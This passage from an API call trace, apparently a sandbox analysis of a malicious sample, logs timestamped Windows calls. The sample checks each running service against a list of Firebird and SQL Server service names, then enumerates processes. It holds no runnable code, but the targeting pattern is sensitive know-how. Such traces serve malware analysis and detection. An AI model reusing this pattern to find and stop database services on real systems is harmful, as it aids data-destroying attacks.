(lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.026] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.026] lstrlenW (lpString="DeviceAssociationService") returned 24 [0060.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0060.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0060.026] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0060.026] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0060.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0060.026] lstrlenW (lpString="Dhcp") returned 4 [0060.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.026] lstrlenW (lpString="Dnscache") returned 8 [0060.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.027] lstrlenW (lpString="DoSvc") returned 5 [0060.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0060.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0060.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0060.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0060.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0060.027] lstrlenW (lpString="DPS") returned 3 [0060.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.027] lstrlenW (lpString="DusmSvc") returned 7 [0060.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0060.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0060.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0060.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0060.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0060.027] lstrlenW (lpString="EventLog") returned 8 [0060.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0060.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0060.027] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0060.027] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0060.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0060.027] lstrlenW (lpString="EventSystem") returned 11 [0060.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.027] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.027] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.027] lstrlenW (lpString="FontCache") returned 9 [0060.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0060.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0060.028] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0060.028] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0060.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0060.028] lstrlenW (lpString="gpsvc") returned 5 [0060.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.028] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.028] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.028] lstrlenW (lpString="iphlpsvc") returned 8 [0060.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.028] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.028] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.028] lstrlenW (lpString="KeyIso") returned 6 [0060.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0060.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0060.028] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0060.028] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0060.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0060.028] lstrlenW (lpString="LanmanServer") returned 12 [0060.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.028] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.028] lstrlenW (lpString="lfsvc") returned 5 [0060.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0060.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0060.029] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0060.029] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0060.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0060.029] lstrlenW (lpString="lmhosts") returned 7 [0060.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.029] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.029] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.029] lstrlenW (lpString="LSM") returned 3 [0060.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0060.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0060.029] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0060.029] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0060.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0060.029] lstrlenW (lpString="MapsBroker") returned 10 [0060.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0060.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0060.029] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0060.029] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0060.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0060.029] lstrlenW (lpString="MpsSvc") returned 6 [0060.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.029] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.029] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.029] lstrlenW (lpString="NcbService") returned 10 [0060.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0060.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0060.029] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0060.029] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0060.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0060.030] lstrlenW (lpString="netprofm") returned 8 [0060.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.030] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.030] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.030] lstrlenW (lpString="NlaSvc") returned 6 [0060.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.030] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.030] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.030] lstrlenW (lpString="nsi") returned 3 [0060.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.030] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.030] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.030] lstrlenW (lpString="PcaSvc") returned 6 [0060.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.030] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.030] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.030] lstrlenW (lpString="PlugPlay") returned 8 [0060.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.030] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.030] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.030] lstrlenW (lpString="Power") returned 5 [0060.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.031] lstrlenW (lpString="ProfSvc") returned 7 [0060.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.031] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.031] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.031] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.031] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.031] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.031] lstrlenW (lpString="RpcSs") returned 5 [0060.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.031] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.031] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.031] lstrlenW (lpString="SamSs") returned 5 [0060.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.031] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.031] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.031] lstrlenW (lpString="Schedule") returned 8 [0060.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.031] lstrlenW (lpString="SecurityHealthService") returned 21 [0060.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0060.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0060.031] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0060.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0060.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0060.032] lstrlenW (lpString="SENS") returned 4 [0060.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.032] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.032] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.032] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.032] lstrlenW (lpString="Spooler") returned 7 [0060.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.032] lstrlenW (lpString="SSDPSRV") returned 7 [0060.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0060.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0060.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0060.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0060.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0060.032] lstrlenW (lpString="StateRepository") returned 15 [0060.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0060.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0060.032] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0060.032] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0060.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0060.033] lstrlenW (lpString="SysMain") returned 7 [0060.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.033] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e8718 | out: hHeap=0x490000) returned 1 [0060.033] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0060.217] Process32FirstW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.218] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.218] lstrlenW (lpString="System") returned 6 [0060.218] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.219] lstrlenW (lpString="smss.exe") returned 8 [0060.219] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.219] lstrlenW (lpString="csrss.exe") returned 9 [0060.219] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.220] lstrlenW (lpString="wininit.exe") returned 11 [0060.220] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.220] lstrlenW (lpString="csrss.exe") returned 9 [0060.220] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.221] lstrlenW (lpString="winlogon.exe") returned 12 [0060.221] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.221] lstrlenW (lpString="services.exe") returned 12 [0060.221] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.222] lstrlenW (lpString="lsass.exe") returned 9 [0060.222] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.222] lstrlenW (lpString="svchost.exe") returned 11 [0060.222] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0060.223] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0060.223] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0060.223] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0060.223] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.224] lstrlenW (lpString="svchost.exe") returned 11 [0060.224] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.224] lstrlenW (lpString="dwm.exe") returned 7 [0060.224] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.225] lstrlenW (lpString="svchost.exe") returned 11 [0060.225] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.225] lstrlenW (lpString="svchost.exe") returned 11 [0060.225] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.226] lstrlenW (lpString="svchost.exe") returned 11 [0060.226] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.226] lstrlenW (lpString="svchost.exe") returned 11 [0060.226] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.227] lstrlenW (lpString="svchost.exe") returned 11 [0060.227] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.227] lstrlenW (lpString="svchost.exe") returned 11 [0060.228] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.228] lstrlenW (lpString="svchost.exe") returned 11 [0060.228] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.229] lstrlenW (lpString="svchost.exe") returned 11 [0060.229] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 